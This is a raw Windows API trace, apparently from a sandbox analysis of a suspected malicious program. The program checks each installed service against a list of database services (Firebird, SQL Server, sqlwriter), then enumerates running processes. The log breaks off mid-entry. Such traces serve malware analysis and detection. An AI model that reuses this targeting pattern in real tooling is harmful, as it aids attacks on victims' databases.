lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0250.396] lstrlenW (lpString="DPS") returned 3 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0250.396] lstrlenW (lpString="DusmSvc") returned 7 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0250.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0250.396] lstrlenW (lpString="EventLog") returned 8 [0250.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0250.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0250.396] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0250.396] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0250.397] lstrlenW (lpString="EventSystem") returned 11 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0250.397] lstrlenW (lpString="FontCache") returned 9 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0250.397] lstrlenW (lpString="gpsvc") returned 5 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0250.397] lstrlenW (lpString="iphlpsvc") returned 8 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0250.397] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0250.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0250.397] lstrlenW (lpString="KeyIso") returned 6 [0250.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0250.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0250.397] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0250.398] lstrlenW (lpString="LanmanServer") returned 12 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0250.398] lstrlenW (lpString="LanmanWorkstation") returned 17 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0250.398] lstrlenW (lpString="lfsvc") returned 5 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0250.398] lstrlenW (lpString="lmhosts") returned 7 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0250.398] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0250.398] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0250.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0250.398] lstrlenW (lpString="LSM") returned 3 [0250.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0250.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0250.399] lstrlenW (lpString="MpsSvc") returned 6 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0250.399] lstrlenW (lpString="NcbService") returned 10 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0250.399] lstrlenW (lpString="netprofm") returned 8 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0250.399] lstrlenW (lpString="NgcSvc") returned 6 [0250.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0250.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0250.399] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0250.399] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0250.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0250.399] lstrlenW (lpString="NlaSvc") returned 6 [0250.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0250.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0250.400] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0250.400] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0250.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0250.400] lstrlenW (lpString="nsi") returned 3 [0250.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0250.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0250.400] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0250.400] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0250.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0250.400] lstrlenW (lpString="PcaSvc") returned 6 [0250.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0250.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0250.400] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0250.400] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0250.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0250.400] lstrlenW (lpString="PlugPlay") returned 8 [0250.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0250.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0250.400] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0250.400] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0250.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0250.400] lstrlenW (lpString="Power") returned 5 [0250.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0250.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0250.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0250.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0250.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0250.401] lstrlenW (lpString="ProfSvc") returned 7 [0250.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0250.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0250.401] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0250.401] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0250.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0250.401] lstrlenW (lpString="RpcEptMapper") returned 12 [0250.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.401] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0250.401] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0250.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0250.401] lstrlenW (lpString="RpcSs") returned 5 [0250.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0250.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0250.401] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0250.401] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0250.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0250.401] lstrlenW (lpString="SamSs") returned 5 [0250.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0250.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0250.401] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0250.401] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0250.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0250.401] lstrlenW (lpString="Schedule") returned 8 [0250.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0250.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0250.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0250.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0250.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0250.402] lstrlenW (lpString="SecurityHealthService") returned 21 [0250.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0250.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0250.402] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0250.402] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0250.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0250.402] lstrlenW (lpString="SENS") returned 4 [0250.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0250.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0250.402] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0250.402] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0250.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0250.402] lstrlenW (lpString="ShellHWDetection") returned 16 [0250.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.402] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0250.402] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0250.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0250.402] lstrlenW (lpString="Spooler") returned 7 [0250.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0250.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0250.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0250.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0250.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0250.402] lstrlenW (lpString="StateRepository") returned 15 [0250.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0250.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0250.403] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0250.403] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0250.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0250.403] lstrlenW (lpString="SysMain") returned 7 [0250.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0250.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0250.403] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0250.403] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0250.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0250.403] lstrlenW (lpString="SystemEventsBroker") returned 18 [0250.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0250.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0250.403] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0250.403] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0250.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0250.403] lstrlenW (lpString="Themes") returned 6 [0250.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0250.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0250.403] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0250.403] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0250.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0250.403] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0250.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0250.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0250.403] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0250.403] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0250.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0250.404] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x544 [0250.409] Process32FirstW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.499] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.499] lstrlenW (lpString="System") returned 6 [0250.500] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.500] lstrlenW (lpString="smss.exe") returned 8 [0250.500] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.501] lstrlenW (lpString="csrss.exe") returned 9 [0250.501] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.501] lstrlenW (lpString="wininit.exe") returned 11 [0250.502] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.502] lstrlenW (lpString="csrss.exe") returned 9 [0250.502] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.503] lstrlenW (lpString="winlogon.exe") returned 12 [0250.503] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.503] lstrlenW (lpString="services.exe") returned 12 [0250.504] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.504] lstrlenW (lpString="lsass.exe") returned 9 [0250.504] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.505] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0250.505] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.505] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0250.505] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.506] lstrlenW (lpString="svchost.exe") returned 11 [0250.506] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.506] lstrlenW (lpString="svchost.exe") returned 11 [0250.506] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.507] lstrlenW (lpString="dwm.exe") returned 7 [0250.507] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.508] lstrlenW (lpString="svchost.exe") returned 11 [0250.508] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.508] lstrlenW (lpString="svchost.exe") returned 11 [0250.508] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.509] lstrlenW (lpString="svchost.exe") returned 11 [0250.509] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.509] lstrlenW (lpString="svchost.exe") returned 11 [0250.509] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.510] lstrlenW (lpString="svchost.exe") returned 11 [0250.510] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.510] lstrlenW (lpString="svchost.exe") returned 11 [0250.511] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.511] lstrlenW (lpString="svchost.exe") returned 11 [0250.511] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.512] lstrlenW (lpString="svchost.exe") returned 11 [0250.512] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.512] lstrlenW (lpString="svchost.exe") returned 11 [0250.512] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.513] lstrlenW (lpString="svchost.exe") returned 11 [0250.513] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.513] lstrlenW (lpString="spoolsv.exe") returned 11 [0250.514] Process32NextW (in: hSnapshot=0x544, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.514] 